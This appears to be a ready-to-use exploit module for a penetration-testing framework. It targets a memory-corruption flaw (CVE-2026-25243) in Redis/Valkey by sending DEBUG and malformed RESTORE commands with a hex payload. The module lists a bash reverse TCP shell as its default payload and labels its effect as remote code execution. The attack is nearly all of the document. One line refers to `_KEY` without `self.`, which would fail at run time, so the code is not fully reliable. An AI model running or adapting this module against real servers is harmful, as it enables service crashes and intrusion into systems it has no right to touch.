Valkey/Redis CVE-2026-25243 RESTORE RCE trigger

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Redis/Valkey CVE-2026-25243 RESTORE zipmap memory corruption trigger."""
from __future__ import annotations
import socket
from kittysploit import *
from lib.exploit.handler import Handler

class Module(Exploit, Handler):
    __info__ = {'name': 'Valkey/Redis CVE-2026-25243 RESTORE RCE trigger', 'description': 'CVE-2026-25243: malformed RESTORE payload with DEBUG SET-SKIP-CHECKSUM-VALIDATION can corrupt memory / crash server (requires --enable-debug-command on vulnerable builds).', 'author': ['KittySploit Team'], 'cve': ['CVE-2026-25243'], 'platform': Platform.LINUX, 'arch': [Arch.CMD], 'payload': {'default': 'payloads/singles/cmd/unix/bash_reverse_tcp', 'platform': Platform.UNIX, 'category': PayloadCategory.CMD}, 'references': ['https://nvd.nist.gov/vuln/detail/CVE-2026-25243', 'https://github.com/dinosn/exploit-watch-archive'], 'tags': ['redis', 'valkey', 'restore', 'rce', 'cve-2026-25243'], 'agent': {'risk': 'critical', 'effects': ['active_exploitation', 'remote_code_execution'], 'expected_requests': 1, 'reversible': False, 'approval_required': True, 'produces': ['exploit_paths'], 'chain': {'suggested_followups': ['scanner/tcp/valkey_cve_2026_25243_detect']}}}
    _PAYLOAD = bytes.fromhex('091802fe0300000061626303006465660367686903006a6b6cff50000000000000000000')
    _KEY = 'zipmap_test'
    port = OptPort(6379, 'Redis/Valkey port', required=True)

    @staticmethod
    def _resp(*args: str | bytes) -> bytes:
        parts: list[bytes] = []
        for a in args:
            b = a.encode() if isinstance(a, str) else a
            parts.append(f'${len(b)}\r\n'.encode() + b + b'\r\n')
        return b'*' + str(len(parts)).encode() + b'\r\n' + b''.join(parts)

    def execute(self, _cmd: str='') -> str:
        host = str(self.target or '')
        port = int(self.port or 6379)
        pipeline = b''.join([self._resp('DEBUG', 'SET-SKIP-CHECKSUM-VALIDATION', '1'), self._resp('RESTORE', self._KEY, '0', self._PAYLOAD), self._resp('DEBUG', 'SET-SKIP-CHECKSUM-VALIDATION', '0'), self._resp('EXISTS', _KEY)])
        with socket.create_connection((host, port), timeout=8) as sock:
            sock.sendall(pipeline)
            return sock.recv(65536).decode('utf-8', errors='replace')

    def check(self):
        try:
            out = self.execute()
        except OSError as exc:
            return {'vulnerable': False, 'reason': str(exc), 'confidence': 'high'}
        if 'DEBUG command not allowed' in out:
            return {'vulnerable': False, 'reason': 'DEBUG disabled', 'confidence': 'high'}
        if 'Bad data format' in out or not out.strip():
            return {'vulnerable': True, 'reason': 'RESTORE trigger accepted or server crashed', 'confidence': 'medium'}
        return {'vulnerable': True, 'reason': out[:200], 'confidence': 'low'}

    def run(self):
        print_status('CVE-2026-25243 — RESTORE zipmap trigger')
        try:
            out = self.execute()
        except OSError as exc:
            print_error(str(exc))
            self.not_vulnerable()
            return False
        print_info(out[:1000])
        if 'DEBUG command not allowed' in out:
            self.not_vulnerable()
            return False
        print_warning('Confirm impact via server crash/RCE on target build')
        return True